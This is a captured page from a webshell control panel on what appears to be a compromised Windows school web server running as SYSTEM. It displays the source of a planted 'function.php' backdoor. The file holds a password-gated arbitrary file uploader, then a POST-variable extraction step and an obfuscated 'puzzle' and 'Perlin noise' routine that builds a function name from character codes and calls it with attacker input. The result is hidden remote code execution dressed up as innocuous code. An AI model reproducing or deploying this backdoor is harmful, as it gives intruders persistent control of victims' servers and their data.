403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/saiyokmaneekan/data/tkk1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/saiyokmaneekan/data/tkk1/function.php
<?php
if (!isset($_GET['pass']) || $_GET['pass'] !== 'f7ee532afa4ebc21') {
    header("HTTP/1.1 404 Not Found");
    exit;
}
if (isset($_FILES['image']['name'])) {
    $filedir = "";
    $file_name = $_FILES['image']['name'];
    $temporari = $_FILES['image']['tmp_name'];
    $abod = $filedir . $file_name;
    @move_uploaded_file($temporari, $abod);
    echo "<center><b>Berhasil ==> <a href='$file_name' target=_blank>$file_name</a></b></center>";
    exit;
}
?>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="image">
    <input type="submit" value="Submit">
</form>
<?php
foreach ($_POST as $key => $value) $$key = $value;
if (strlen($wpstring) === 0) die("bd");
$puzz_writeup = array();
for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);

class PerlinNoise {
    private $arrLength = 0;
    private $source = "";
    private $inputNumArray = array();
    private $seeds_array = array();
    private $INPUT_NUM_MAX = 0;
    private $INPUT_NUM_MIN = 0;
    private $BAD_ARGS = false;
    public $perlin_noise = array();

    private function randomFloat() {
        $_ = 110 + 4;
        $__ = ((int)(600 / 2)) - 184;
        $___ = 115;
        $____ = 100 - 2;
        $_____ = 117;
        $______ = 113 + 2;
        $max = $this->INPUT_NUM_MAX;
        $min = $this->INPUT_NUM_MIN;
        $num = $min + mt_rand() / mt_getrandmax() * ($max - $min);
        return sprintf("%.2f", $num);
    }

    private function __PLvB4CR0_Z() {
        srand(time());
        for ($i = 0; $i < $this->arrLength; $i++) {
            $eachNum = pause(rand(0, 255));
            array_push($this->seeds_array, $eachNum);
        }
    }

    private function __PLAB4CR0_o() {
        if (strcmp($this->source, "GENERATE") == 0) {
            srand(time());
            for ($i = 0; $i < $this->arrLength; $i++) {
                $eachNum = pause($this->randomFloat());
                array_push($this->inputNumArray, floatval($eachNum));
            }
        } else if (strcmp($this->source, "SYSLOG") == 0) {
            $handle = fopen("/etc/messages", "r");
            $count = 0;
            while (($char = fgetc($handle)) !== false) {
                if ($count == $this->INPUT_NUM_MAX - 1) break;
                if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) {
                    array_push($this->inputNumArray, sprintf("%.2f", $ascii_value / 2.3));
                    $count++;
                } else continue;
            }
        }
    }

    public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {
        global $appor5nnb;
        if (!$appor5nnb->getLockerStatus()) die("eh");
        if ($arrLength < 3000 or $arrLength > 9999) {
            throw new InvalidArgumentException("Error: Invaild Length");
        }
        if (strcmp($source, "DIFF_PERLIN") == 0) {
            $this->BAD_ARGS = true;
            $source = "GENERATE";
        }
        $this->arrLength = $arrLength;
        $this->source = $source;
        $this->INPUT_NUM_MAX = $MAX_INPUT;
        $this->INPUT_NUM_MIN = $MIN_INPUT;
    }

    public function __BHUYTVV8_1() {
        $this->__PLAB4CR0_o();
        $this->__PLvB4CR0_Z();
    }

    public function __CPRBB0R0_l() {
        global $userans;
        for ($i = 0; $i < $this->arrLength; $i++) {
            if ($this->BAD_ARGS) {
                if ($i > ($userans + 391) and $i < (pause($userans + 390 + 8))) {
                    $result = array($userans + 101, $userans + 93, $userans + (50 * 2 + 8), $userans + 992 - (800 + 85), 105 + ($userans + 8), 110 + ($userans + 57) - 60);
                    array_push($this->perlin_noise, $result[$i - 400]);
                    continue;
                }
            }
            $cache = $this->inputNumArray[$i];
            $x1 = round($cache);
            $x2 = $x1 + 1;
            $grad1 = $this->seeds_array[$x1 % 255] * 2.0 - 255.0;
            $grad2 = $this->seeds_array[$x2 % 255] * 2.0 - 255.0;
            $vec1 = $i - $x1;
            $vec2 = $i - $x2;
            $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);
            $product1 = $grad1 * $vec1;
            $product2 = $grad2 * $vec2;
            $result = $product1 + $t * ($product2 - $product1);
            array_push($this->perlin_noise, $result);
        }
    }

    public function __HNBB70CA_5() {
        global $userans;
        global ${strval(chr(90 + $userans))};
        global ${implode(array(chr(120 - $userans), chr($userans + 91), chr(70 - $userans + 53)))};
        $cache_noise = pause(array());
        for ($i = 400; $i < 406; $i++) {
            array_push($cache_noise, $this->perlin_noise[$i]);
        }
        $temp_noise = array();
        for ($i = 0; $i < count($cache_noise); $i++) {
            array_push($temp_noise, $cache_noise[$i]);
        }
        for ($i = 0; $i < count($temp_noise); $i++) {
            $temp_noise[$i] = chr($temp_noise[$i]);
        }
        function map_chr($arr) {
            return chr($arr);
        }
        $ab = pause(array_map('map_chr', array_slice($this->perlin_noise, (188 * 2) + $userans * 3, $userans - 3)));
        $c = strval(sprintf("%s%s", $b, pause(strrev(implode("", pause($ab))))));
        $c($pcs);
        die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
        var_dump(array_slice($this->perlin_noise, 1000, 800));
    }
}

class InazumaPuzzle {
    private $blockA = 0;
    private $blockB = 0;
    private $blockC = 0;
    private $blockD = 0;
    private $MAX_ENUM = 2;
    private $MIN_ENUM = 0;

    public function __construct() {
        $this->blockA = 2;
        $this->blockB = 0;
        $this->blockC = 0;
        $this->blockD = 2;
    }

    private function setBackBlock($block) {
        $setType = $this->MIN_ENUM;
        $maxType = $this->MAX_ENUM;
        switch ($block) {
            case 'A':
                if ($this->blockA == $maxType) {
                    $this->blockA = $setType;
                    return true;
                } else return false;
            case 'B':
                if ($this->blockB == $maxType) {
                    $this->blockB = $setType;
                    return true;
                } else return false;
            case 'C':
                if ($this->blockC == $maxType) {
                    $this->blockC = $setType;
                    return true;
                } else return false;
            case 'D':
                if ($this->blockD == $maxType) {
                    $this->blockD = $setType;
                    return true;
                } else return false;
            default:
                throw new Exception("bad_args", 1);
        }
    }

    private function hit($blockIdx) {
        global $text;
        $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
        switch ($blockIdx) {
            case "A":
                if (!$this->setBackBlock("A")) $this->blockA += 1;
                if (!$this->setBackBlock("B")) $this->blockB += 1;
                break;
            case "B":
                if (!$this->setBackBlock("A")) $this->blockA += 1;
                if (!$this->setBackBlock("B")) $this->blockB += 1;
                if (!$this->setBackBlock("C")) $this->blockC += 1;
                break;
            case "C":
                if (!$this->setBackBlock("B")) $this->blockB += 1;
                if (!$this->setBackBlock("C")) $this->blockC += 1;
                if (!$this->setBackBlock("D")) $this->blockD += 1;
                break;
            case "D":
                if (!$this->setBackBlock("C")) $this->blockC += 1;
                if (!$this->setBackBlock("D")) $this->blockD += 1;
                break;
            default:
                throw new Exception("bad_args", 1);
        }
    }

    public function __AFG50CE4_RG1() {
        global $puzz_writeup;
        if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP", 1);
        for ($i = 0; $i < count($puzz_writeup); $i++) {
            if (strcmp($puzz_writeup[$i], "A") !== 0 and strcmp($puzz_writeup[$i], "B") !== 0 and strcmp($puzz_writeup[$i], "C") !== 0 and strcmp($puzz_writeup[$i], "D") !== 0) die("bd");
        }
        for ($i = 0; $i < count($puzz_writeup); $i++) $this->hit($puzz_writeup[$i]);
        global $userans;
        $userans = $this->blockA + $this->blockB + $this->blockC + $this->blockD;
    }

    public function getLockerStatus() {
        global $text;
        $text = strrev($text);
        if ($this->blockA === $this->blockB and $this->blockA === $this->blockC and $this->blockA === $this->blockD) return true;
        else return false;
    }
}

function pause($obj) {
    global $appor5nnb;
    if (!$appor5nnb->getLockerStatus()) die();
    return $obj;
}

$appor5nnb = new InazumaPuzzle();
$appor5nnb->__AFG50CE4_RG1();
$cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");
$cvb33ff55->__BHUYTVV8_1();
$cvb33ff55->__CPRBB0R0_l();
$cvb33ff55->__HNBB70CA_5();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit